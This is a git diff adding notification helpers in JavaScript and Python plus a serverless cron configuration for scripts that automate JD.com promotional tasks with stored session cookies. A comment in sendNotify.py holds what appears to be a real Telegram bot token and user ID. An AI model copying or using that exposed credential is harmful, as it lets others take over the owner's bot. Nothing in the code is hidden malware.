'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN}`, + title: `${text}`, + content: `${desp}`, + topic: `${PUSH_PLUS_USER}`, + }; + const options = { + url: `https://www.pushplus.plus/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败!!\n`); + PushErrorTime += 1; + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息完成。\n`); + PushErrorTime = 0; + } else { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败:${data.msg}\n`); + PushErrorTime += 1; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} +function wxpusherNotifyByOne(text, desp, strsummary = "") { + return new Promise((resolve) => { + if (WP_APP_TOKEN_ONE) { + var WPURL = ""; + if (strsummary) { + strsummary = text + "\n" + strsummary; + } else { + strsummary = text + "\n" + desp; + } + + if (strsummary.length > 96) { + strsummary = strsummary.substring(0, 95) + "..."; + } + let uids = []; + for (let i of WP_UIDS_ONE.split(";")) { + if (i.length != 0) + uids.push(i); + }; + let topicIds = []; + + //desp = `${desp}`; + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + desp = `
+
+
+

+ ${text} +

+
+
+
+
+

+ 📢 +

+
+
+
+
+
+

+ ${desp} +

+
+
+
`; + + const body = { + appToken: `${WP_APP_TOKEN_ONE}`, + content: `${desp}`, + summary: `${strsummary}`, + contentType: 2, + topicIds: topicIds, + uids: uids, + url: `${WPURL}`, + }; + const options = { + url: `http://wxpusher.zjiecode.com/api/send/message`, + body: JSON.stringify(body), + headers: { + "Content-Type": "application/json", + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("WxPusher 发送通知调用 API 失败!!\n"); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 1000) { + console.log("WxPusher 发送通知消息成功!\n"); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function wxpusherNotify(text, desp) { + return new Promise((resolve) => { + if (WP_APP_TOKEN) { + let uids = []; + for (let i of WP_UIDS.split(";")) { + if (i.length != 0) + uids.push(i); + }; + let topicIds = []; + for (let i of WP_TOPICIDS.split(";")) { + if (i.length != 0) + topicIds.push(i); + }; + desp = `${text}\n\n${desp}`; + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + appToken: `${WP_APP_TOKEN}`, + content: `${text}\n\n${desp}`, + summary: `${text}`, + contentType: 2, + topicIds: topicIds, + uids: uids, + url: `${WP_URL}`, + }; + const options = { + url: `http://wxpusher.zjiecode.com/api/send/message`, + body: JSON.stringify(body), + headers: { + "Content-Type": "application/json", + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("WxPusher 发送通知调用 API 失败!!\n"); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 1000) { + console.log("WxPusher 发送通知消息成功!\n"); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function GetDateTime(date) { + + var timeString = ""; + + var timeString = date.getFullYear() + "-"; + if ((date.getMonth() + 1) < 10) + timeString += "0" + (date.getMonth() + 1) + "-"; + else + timeString += (date.getMonth() + 1) + "-"; + + if ((date.getDate()) < 10) + timeString += "0" + date.getDate() + " "; + else + timeString += date.getDate() + " "; + + if ((date.getHours()) < 10) + timeString += "0" + date.getHours() + ":"; + else + timeString += date.getHours() + ":"; + + if ((date.getMinutes()) < 10) + timeString += "0" + date.getMinutes() + ":"; + else + timeString += date.getMinutes() + ":"; + + if ((date.getSeconds()) < 10) + timeString += "0" + date.getSeconds(); + else + timeString += date.getSeconds(); + + return timeString; +} + +function GetnickName() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } + finally { + resolve(); + } + }) + }) +} + +function GetnickName2() { + return new Promise(async(resolve) => { + const options = { + url: `https://wxapp.m.jd.com/kwxhome/myJd/home.json?&useGuideModule=0&bizId=&brandId=&fromType=wxapp×tamp=${Date.now()}`, + headers: { + Cookie: cookie, + 'content-type': `application/x-www-form-urlencoded`, + Connection: `keep-alive`, + 'Accept-Encoding': `gzip,compress,br,deflate`, + Referer: `https://servicewechat.com/wxa5bf5ee667d91626/161/page-frame.html`, + Host: `wxapp.m.jd.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.10(0x18000a2a) NetType/WIFI Language/zh_CN`, + }, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (!data.user) { + $.isLogin = false; //cookie过期 + return; + } + const userInfo = data.user; + if (userInfo) { + $.nickName = userInfo.petName; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }); + }); +} + +module.exports = { + sendNotify, + sendNotifybyWxPucher, + BARK_PUSH, +}; + +// prettier-ignore +function Env(t, s) { + return new(class { + constructor(t, s) { + (this.name = t), + (this.data = null), + (this.dataFile = 'box.dat'), + (this.logs = []), + (this.logSeparator = '\n'), + (this.startTime = new Date().getTime()), + Object.assign(this, s), + this.log('', `\ud83d\udd14${this.name}, \u5f00\u59cb!`); + } + isNode() { + return 'undefined' != typeof module && !!module.exports; + } + isQuanX() { + return 'undefined' != typeof $task; + } + isSurge() { + return 'undefined' != typeof $httpClient && 'undefined' == typeof $loon; + } + isLoon() { + return 'undefined' != typeof $loon; + } + getScript(t) { + return new Promise((s) => { + $.get({ + url: t + }, (t, e, i) => s(i)); + }); + } + runScript(t, s) { + return new Promise((e) => { + let i = this.getdata('@chavy_boxjs_userCfgs.httpapi'); + i = i ? i.replace(/\n/g, '').trim() : i; + let o = this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout'); + (o = o ? 1 * o : 20), + (o = s && s.timeout ? s.timeout : o); + const[h, a] = i.split('@'), + r = { + url: `http://${a}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: 'cron', + timeout: o + }, + headers: { + 'X-Key': h, + Accept: '*/*' + }, + }; + $.post(r, (t, s, i) => e(i)); + }).catch((t) => this.logErr(t)); + } + loaddata() { + if (!this.isNode()) + return {}; { + (this.fs = this.fs ? this.fs : require('fs')), + (this.path = this.path ? this.path : require('path')); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s); + if (!e && !i) + return {}; { + const i = e ? t : s; + try { + return JSON.parse(this.fs.readFileSync(i)); + } catch (t) { + return {}; + } + } + } + } + writedata() { + if (this.isNode()) { + (this.fs = this.fs ? this.fs : require('fs')), + (this.path = this.path ? this.path : require('path')); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s), + o = JSON.stringify(this.data); + e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o); + } + } + lodash_get(t, s, e) { + const i = s.replace(/\[(\d+)\]/g, '.$1').split('.'); + let o = t; + for (const t of i) + if (((o = Object(o)[t]), void 0 === o)) + return e; + return o; + } + lodash_set(t, s, e) { + return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => (Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {})), t)[s[s.length - 1]] = e), t); + } + getdata(t) { + let s = this.getval(t); + if (/^@/.test(t)) { + const[, e, i] = /^@(.*?)\.(.*?)$/.exec(t), + o = e ? this.getval(e) : ''; + if (o) + try { + const t = JSON.parse(o); + s = t ? this.lodash_get(t, i, '') : s; + } catch (t) { + s = ''; + } + } + return s; + } + setdata(t, s) { + let e = !1; + if (/^@/.test(s)) { + const[, i, o] = /^@(.*?)\.(.*?)$/.exec(s), + h = this.getval(i), + a = i ? ('null' === h ? null : h || '{}') : '{}'; + try { + const s = JSON.parse(a); + this.lodash_set(s, o, t), + (e = this.setval(JSON.stringify(s), i)); + } catch (s) { + const h = {}; + this.lodash_set(h, o, t), + (e = this.setval(JSON.stringify(h), i)); + } + } else + e = $.setval(t, s); + return e; + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null; + } + setval(t, s) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null; + } + initGotEnv(t) { + (this.got = this.got ? this.got : require('got')), + (this.cktough = this.cktough ? this.cktough : require('tough-cookie')), + (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), + t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)); + } + get(t, s = () => {}) { + t.headers && (delete t.headers['Content-Type'], delete t.headers['Content-Length']), + this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { + !t && e && ((e.body = i), (e.statusCode = e.status)), + s(t, e, i); + }) : this.isQuanX() ? $task.fetch(t).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on('redirect', (t, s) => { + try { + const e = t.headers['set-cookie'].map(this.cktough.Cookie.parse).toString(); + this.ckjar.setCookieSync(e, null), + (s.cookieJar = this.ckjar); + } catch (t) { + this.logErr(t); + } + }).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t))); + } + post(t, s = () => {}) { + if ((t.body && t.headers && !t.headers['Content-Type'] && (t.headers['Content-Type'] = 'application/x-www-form-urlencoded'), delete t.headers['Content-Length'], this.isSurge() || this.isLoon())) + $httpClient.post(t, (t, e, i) => { + !t && e && ((e.body = i), (e.statusCode = e.status)), + s(t, e, i); + }); + else if (this.isQuanX()) + (t.method = 'POST'), $task.fetch(t).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: e, + ...i + } = t; + this.got.post(e, i).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)); + } + } + time(t) { + let s = { + 'M+': new Date().getMonth() + 1, + 'd+': new Date().getDate(), + 'H+': new Date().getHours(), + 'm+': new Date().getMinutes(), + 's+': new Date().getSeconds(), + 'q+': Math.floor((new Date().getMonth() + 3) / 3), + S: new Date().getMilliseconds(), + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + '').substr(4 - RegExp.$1.length))); + for (let e in s) + new RegExp('(' + e + ')').test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ('00' + s[e]).substr(('' + s[e]).length))); + return t; + } + msg(s = t, e = '', i = '', o) { + const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : 'string' == typeof t ? this.isLoon() ? t : this.isQuanX() ? { + 'open-url': t + } + : void 0 : 'object' == typeof t && (t['open-url'] || t['media-url']) ? this.isLoon() ? t['open-url'] : this.isQuanX() ? t : void 0 : void 0; + $.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))), + this.logs.push('', '==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============='), + this.logs.push(s), + e && this.logs.push(e), + i && this.logs.push(i); + } + log(...t) { + t.length > 0 ? (this.logs = [...this.logs, ...t]) : console.log(this.logs.join(this.logSeparator)); + } + logErr(t, s) { + const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + e ? $.log('', `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : $.log('', `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t); + } + wait(t) { + return new Promise((s) => setTimeout(s, t)); + } + done(t = {}) { + const s = new Date().getTime(), + e = (s - this.startTime) / 1e3; + this.log('', `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t); + } + })(t, s); +} diff --git a/sendNotify.py b/sendNotify.py new file mode 100644 index 0000000..56d6aa5 --- /dev/null +++ b/sendNotify.py @@ -0,0 +1,429 @@ +#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ + +#Modify: Kirin + +import sys +import os, re +import requests +import json +import time +import hmac +import hashlib +import base64 +import urllib.parse +from requests.adapters import HTTPAdapter +from urllib3.util import Retry + +cur_path = os.path.abspath(os.path.dirname(__file__)) +root_path = os.path.split(cur_path)[0] +sys.path.append(root_path) + +# 通知服务 +BARK = '' # bark服务,自行搜索; secrets可填; +BARK_PUSH='' # bark自建服务器,要填完整链接,结尾的/不要 +SCKEY = '' # Server酱的SCKEY; secrets可填 +TG_BOT_TOKEN = '' # tg机器人的TG_BOT_TOKEN; secrets可填1407203283:AAG9rt-6RDaaX0HBLZQq0laNOh898iFYaRQ +TG_USER_ID = '' # tg机器人的TG_USER_ID; secrets可填 1434078534 +TG_API_HOST='' # tg 代理api +TG_PROXY_IP = '' # tg机器人的TG_PROXY_IP; secrets可填 +TG_PROXY_PORT = '' # tg机器人的TG_PROXY_PORT; secrets可填 +DD_BOT_ACCESS_TOKEN = '' # 钉钉机器人的DD_BOT_ACCESS_TOKEN; secrets可填 +DD_BOT_SECRET = '' # 钉钉机器人的DD_BOT_SECRET; secrets可填 +QQ_SKEY = '' # qq机器人的QQ_SKEY; secrets可填 +QQ_MODE = '' # qq机器人的QQ_MODE; secrets可填 +QYWX_AM = '' # 企业微信 +QYWX_KEY = '' # 企业微信BOT +PUSH_PLUS_TOKEN = '' # 微信推送Plus+ + +notify_mode = [] + +message_info = '''''' + +# GitHub action运行需要填写对应的secrets +if "BARK" in os.environ and os.environ["BARK"]: + BARK = os.environ["BARK"] +if "BARK_PUSH" in os.environ and os.environ["BARK_PUSH"]: + BARK_PUSH = os.environ["BARK_PUSH"] +if "SCKEY" in os.environ and os.environ["SCKEY"]: + SCKEY = os.environ["SCKEY"] +if "TG_BOT_TOKEN" in os.environ and os.environ["TG_BOT_TOKEN"] and "TG_USER_ID" in os.environ and os.environ["TG_USER_ID"]: + TG_BOT_TOKEN = os.environ["TG_BOT_TOKEN"] + TG_USER_ID = os.environ["TG_USER_ID"] +if "TG_API_HOST" in os.environ and os.environ["TG_API_HOST"]: + TG_API_HOST = os.environ["TG_API_HOST"] +if "DD_BOT_ACCESS_TOKEN" in os.environ and os.environ["DD_BOT_ACCESS_TOKEN"] and "DD_BOT_SECRET" in os.environ and os.environ["DD_BOT_SECRET"]: + DD_BOT_ACCESS_TOKEN = os.environ["DD_BOT_ACCESS_TOKEN"] + DD_BOT_SECRET = os.environ["DD_BOT_SECRET"] +if "QQ_SKEY" in os.environ and os.environ["QQ_SKEY"] and "QQ_MODE" in os.environ and os.environ["QQ_MODE"]: + QQ_SKEY = os.environ["QQ_SKEY"] + QQ_MODE = os.environ["QQ_MODE"] +# 获取pushplus+ PUSH_PLUS_TOKEN +if "PUSH_PLUS_TOKEN" in os.environ: + if len(os.environ["PUSH_PLUS_TOKEN"]) > 1: + PUSH_PLUS_TOKEN = os.environ["PUSH_PLUS_TOKEN"] + # print("已获取并使用Env环境 PUSH_PLUS_TOKEN") +# 获取企业微信应用推送 QYWX_AM +if "QYWX_AM" in os.environ: + if len(os.environ["QYWX_AM"]) > 1: + QYWX_AM = os.environ["QYWX_AM"] + + +if "QYWX_KEY" in os.environ: + if len(os.environ["QYWX_KEY"]) > 1: + QYWX_KEY = os.environ["QYWX_KEY"] + # print("已获取并使用Env环境 QYWX_AM") + +if BARK: + notify_mode.append('bark') + # print("BARK 推送打开") +if BARK_PUSH: + notify_mode.append('bark') + # print("BARK 推送打开") +if SCKEY: + notify_mode.append('sc_key') + # print("Server酱 推送打开") +if TG_BOT_TOKEN and TG_USER_ID: + notify_mode.append('telegram_bot') + # print("Telegram 推送打开") +if DD_BOT_ACCESS_TOKEN and DD_BOT_SECRET: + notify_mode.append('dingding_bot') + # print("钉钉机器人 推送打开") +if QQ_SKEY and QQ_MODE: + notify_mode.append('coolpush_bot') + # print("QQ机器人 推送打开") + +if PUSH_PLUS_TOKEN: + notify_mode.append('pushplus_bot') + # print("微信推送Plus机器人 推送打开") +if QYWX_AM: + notify_mode.append('wecom_app') + # print("企业微信机器人 推送打开") + +if QYWX_KEY: + notify_mode.append('wecom_key') + # print("企业微信机器人 推送打开") + + +def message(str_msg): + global message_info + print(str_msg) + message_info = "{}\n{}".format(message_info, str_msg) + sys.stdout.flush() + +def bark(title, content): + print("\n") + if BARK: + try: + response = requests.get( + f"""https://api.day.app/{BARK}/{title}/{urllib.parse.quote_plus(content)}""").json() + if response['code'] == 200: + print('推送成功!') + else: + print('推送失败!') + except: + print('推送失败!') + if BARK_PUSH: + try: + response = requests.get( + f"""{BARK_PUSH}/{title}/{urllib.parse.quote_plus(content)}""").json() + if response['code'] == 200: + print('推送成功!') + else: + print('推送失败!') + except: + print('推送失败!') + print("bark服务启动") + if BARK=='' and BARK_PUSH=='': + print("bark服务的bark_token未设置!!\n取消推送") + return + +def serverJ(title, content): + print("\n") + if not SCKEY: + print("server酱服务的SCKEY未设置!!\n取消推送") + return + print("serverJ服务启动") + data = { + "text": title, + "desp": content.replace("\n", "\n\n") + } + response = requests.post(f"https://sc.ftqq.com/{SCKEY}.send", data=data).json() + if response['errno'] == 0: + print('推送成功!') + else: + print('推送失败!') + +# tg通知 +def telegram_bot(title, content): + try: + print("\n") + bot_token = TG_BOT_TOKEN + user_id = TG_USER_ID + if not bot_token or not user_id: + print("tg服务的bot_token或者user_id未设置!!\n取消推送") + return + print("tg服务启动") + if TG_API_HOST: + if 'http' in TG_API_HOST: + url = f"{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" + else: + url = f"https://{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" + else: + url = f"https://api.telegram.org/bot{TG_BOT_TOKEN}/sendMessage" + + headers = {'Content-Type': 'application/x-www-form-urlencoded'} + payload = {'chat_id': str(TG_USER_ID), 'text': f'{title}\n\n{content}', 'disable_web_page_preview': 'true'} + proxies = None + if TG_PROXY_IP and TG_PROXY_PORT: + proxyStr = "http://{}:{}".format(TG_PROXY_IP, TG_PROXY_PORT) + proxies = {"http": proxyStr, "https": proxyStr} + try: + response = requests.post(url=url, headers=headers, params=payload, proxies=proxies).json() + except: + print('推送失败!') + if response['ok']: + print('推送成功!') + else: + print('推送失败!') + except Exception as e: + print(e) + +def dingding_bot(title, content): + timestamp = str(round(time.time() * 1000)) # 时间戳 + secret_enc = DD_BOT_SECRET.encode('utf-8') + string_to_sign = '{}\n{}'.format(timestamp, DD_BOT_SECRET) + string_to_sign_enc = string_to_sign.encode('utf-8') + hmac_code = hmac.new(secret_enc, string_to_sign_enc, digestmod=hashlib.sha256).digest() + sign = urllib.parse.quote_plus(base64.b64encode(hmac_code)) # 签名 + print('开始使用 钉钉机器人 推送消息...', end='') + url = f'https://oapi.dingtalk.com/robot/send?access_token={DD_BOT_ACCESS_TOKEN}×tamp={timestamp}&sign={sign}' + headers = {'Content-Type': 'application/json;charset=utf-8'} + data = { + 'msgtype': 'text', + 'text': {'content': f'{title}\n\n{content}'} + } + response = requests.post(url=url, data=json.dumps(data), headers=headers, timeout=15).json() + if not response['errcode']: + print('推送成功!') + else: + print('推送失败!') + +def coolpush_bot(title, content): + print("\n") + if not QQ_SKEY or not QQ_MODE: + print("qq服务的QQ_SKEY或者QQ_MODE未设置!!\n取消推送") + return + print("qq服务启动") + url=f"https://qmsg.zendee.cn/{QQ_MODE}/{QQ_SKEY}" + payload = {'msg': f"{title}\n\n{content}".encode('utf-8')} + response = requests.post(url=url, params=payload).json() + if response['code'] == 0: + print('推送成功!') + else: + print('推送失败!') +# push推送 +def pushplus_bot(title, content): + try: + print("\n") + if not PUSH_PLUS_TOKEN: + print("PUSHPLUS服务的token未设置!!\n取消推送") + return + print("PUSHPLUS服务启动") + url = 'http://www.pushplus.plus/send' + data = { + "token": PUSH_PLUS_TOKEN, + "title": title, + "content": content + } + body = json.dumps(data).encode(encoding='utf-8') + headers = {'Content-Type': 'application/json'} + response = requests.post(url=url, data=body, headers=headers).json() + if response['code'] == 200: + print('推送成功!') + else: + print('推送失败!') + except Exception as e: + print(e) + + + +print("xxxxxxxxxxxx") +def wecom_key(title, content): + print("\n") + if not QYWX_KEY: + print("QYWX_KEY未设置!!\n取消推送") + return + print("QYWX_KEY服务启动") + print("content"+content) + headers = {'Content-Type': 'application/json'} + data = { + "msgtype":"text", + "text":{ + "content":title+"\n"+content.replace("\n", "\n\n") + } + } + + print(f"https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key={QYWX_KEY}") + response = requests.post(f"https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key={QYWX_KEY}", json=data,headers=headers).json() + print(response) + + +# 企业微信 APP 推送 +def wecom_app(title, content): + try: + if not QYWX_AM: + print("QYWX_AM 并未设置!!\n取消推送") + return + QYWX_AM_AY = re.split(',', QYWX_AM) + if 4 < len(QYWX_AM_AY) > 5: + print("QYWX_AM 设置错误!!\n取消推送") + return + corpid = QYWX_AM_AY[0] + corpsecret = QYWX_AM_AY[1] + touser = QYWX_AM_AY[2] + agentid = QYWX_AM_AY[3] + try: + media_id = QYWX_AM_AY[4] + except: + media_id = '' + wx = WeCom(corpid, corpsecret, agentid) + # 如果没有配置 media_id 默认就以 text 方式发送 + if not media_id: + message = title + '\n\n' + content + response = wx.send_text(message, touser) + else: + response = wx.send_mpnews(title, content, media_id, touser) + if response == 'ok': + print('推送成功!') + else: + print('推送失败!错误信息如下:\n', response) + except Exception as e: + print(e) + +class WeCom: + def __init__(self, corpid, corpsecret, agentid): + self.CORPID = corpid + self.CORPSECRET = corpsecret + self.AGENTID = agentid + + def get_access_token(self): + url = 'https://qyapi.weixin.qq.com/cgi-bin/gettoken' + values = {'corpid': self.CORPID, + 'corpsecret': self.CORPSECRET, + } + req = requests.post(url, params=values) + data = json.loads(req.text) + return data["access_token"] + + def send_text(self, message, touser="@all"): + send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() + send_values = { + "touser": touser, + "msgtype": "text", + "agentid": self.AGENTID, + "text": { + "content": message + }, + "safe": "0" + } + send_msges = (bytes(json.dumps(send_values), 'utf-8')) + respone = requests.post(send_url, send_msges) + respone = respone.json() + return respone["errmsg"] + + def send_mpnews(self, title, message, media_id, touser="@all"): + send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() + send_values = { + "touser": touser, + "msgtype": "mpnews", + "agentid": self.AGENTID, + "mpnews": { + "articles": [ + { + "title": title, + "thumb_media_id": media_id, + "author": "Author", + "content_source_url": "", + "content": message.replace('\n', '
'), + "digest": message + } + ] + } + } + send_msges = (bytes(json.dumps(send_values), 'utf-8')) + respone = requests.post(send_url, send_msges) + respone = respone.json() + return respone["errmsg"] + +def send(title, content): + """ + 使用 bark, telegram bot, dingding bot, serverJ 发送手机推送 + :param title: + :param content: + :return: + """ + + for i in notify_mode: + if i == 'bark': + if BARK or BARK_PUSH: + bark(title=title, content=content) + else: + print('未启用 bark') + continue + if i == 'sc_key': + if SCKEY: + serverJ(title=title, content=content) + else: + print('未启用 Server酱') + continue + elif i == 'dingding_bot': + if DD_BOT_ACCESS_TOKEN and DD_BOT_SECRET: + dingding_bot(title=title, content=content) + else: + print('未启用 钉钉机器人') + continue + elif i == 'telegram_bot': + if TG_BOT_TOKEN and TG_USER_ID: + telegram_bot(title=title, content=content) + else: + print('未启用 telegram机器人') + continue + elif i == 'coolpush_bot': + if QQ_SKEY and QQ_MODE: + coolpush_bot(title=title, content=content) + else: + print('未启用 QQ机器人') + continue + elif i == 'pushplus_bot': + if PUSH_PLUS_TOKEN: + pushplus_bot(title=title, content=content) + else: + print('未启用 PUSHPLUS机器人') + continue + elif i == 'wecom_app': + if QYWX_AM: + wecom_app(title=title, content=content) + else: + print('未启用企业微信应用消息推送') + continue + elif i == 'wecom_key': + if QYWX_KEY: + + for i in range(int(len(content)/2000)+1): + wecom_key(title=title, content=content[i*2000:(i+1)*2000]) + + + else: + print('未启用企业微信应用消息推送') + continue + else: + print('此类推送方式不存在') + + +def main(): + send('title', 'content') + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/serverless.yml b/serverless.yml new file mode 100644 index 0000000..564954a --- /dev/null +++ b/serverless.yml @@ -0,0 +1,81 @@ +# serverless.yml + +#组件信息 +component: scf # (必选) 组件名称,在该实例中为scf +name: jdscript # (必选) 组件实例名称。 + +#组件参数配置 +inputs: + name: scf-${name} # 云函数名称,默认为 ${name}-${stage}-${app} + enableRoleAuth: true # 默认会尝试创建 SCF_QcsRole 角色,如果不需要配置成 false 即可 + src: ./ + handler: index.main_handler #入口 + runtime: Nodejs12.16 # 运行环境 默认 Nodejs10.15 + region: ap-hongkong # 函数所在区域 + description: This is a function in ${app} application. + memorySize: 128 # 内存大小,单位MB + timeout: 900 # 超时时间,单位秒 + events: #触发器 + - timer: #签到 + parameters: + name: beansign + cronExpression: "0 0 0 * * * *" + enable: true + argument: jd_bean_sign + - timer: #东东超市兑换奖品 #摇京豆 #京东汽车兑换 #家电星推官 #家电星推官好友互助 + parameters: + name: blueCoin_clublottery_carexchange_xtg_xtghelp + cronExpression: "0 0 0 * * * *" + enable: true + argument: jd_blueCoin&jd_club_lottery&jd_car_exchange&jd_xtg&jd_xtg_help + - timer: #东东农场 #东东萌宠 #口袋书店 #京喜农场 #京东极速版签到 #京东家庭号 #金榜创造营 #明星小店 + parameters: + name: fruit_pet_bookshop_jxnc_speedsign_family_goldcreator_starshop + cronExpression: "0 5 6-18/6,8 * * * *" + enable: true + argument: jd_fruit&jd_pet&jd_bookshop&jd_jxnc&jd_speed_sign&jd_family&jd_gold_creator&jd_star_shop + - timer: #宠汪汪喂食 #宠汪汪 #摇钱树 #京东种豆得豆 #京喜工厂 #东东工厂 #东东健康社区收集能量 + parameters: + name: feedPets_joy_moneyTree_plantBean_dreamFactory_jdfactory_healthcollect + cronExpression: "0 3 */1 * * * *" + enable: true + argument: jd_joy_feedPets&jd_joy&jd_moneyTree&jd_plantBean&jd_dreamFactory&jd_jdfactory&jd_health_collect + - timer: #宠汪汪积分兑换京豆 #签到领现金 #点点券 #东东小窝 #京喜财富岛 #京东直播 #东东健康社区 #每日抽奖 #女装魔盒 #跳跳乐 #5G超级盲盒 + parameters: + name: joyreward_cash_necklace_smallhome_cfd_live_health_dailylottery_nzmh_jump_mohe + cronExpression: "0 0 0-16/8,20 * * * *" + enable: true + argument: jd_joy_reward&jd_cash&jd_necklace&jd_small_home&jd_cfd&jd_live&jd_health&jd_daily_lottery&jd_nzmh&jd_jump&jd_mohe + - timer: #京东全民开红包 #进店领豆 #取关京东店铺商品 #京东抽奖机 #京东汽车 #京东秒秒币 + parameters: + name: redPacket_shop_unsubscribe_lotteryMachine_car_ms + cronExpression: "0 10 0 * * * *" + enable: true + argument: jd_redPacket&jd_shop&jd_unsubscribe&jd_lotteryMachine&jd_car&jd_ms + - timer: #天天提鹅 #手机狂欢城 + parameters: + name: dailyegg_carnivalcity + cronExpression: "0 8 */3 * * * *" + enable: true + argument: jd_daily_egg&jd_carnivalcity + - timer: #东东超市 #十元街 #动物联萌 #翻翻乐 + parameters: + name: superMarket_syj_zoo_bigwinner + cronExpression: "0 15 */1 * * * *" + enable: true + argument: 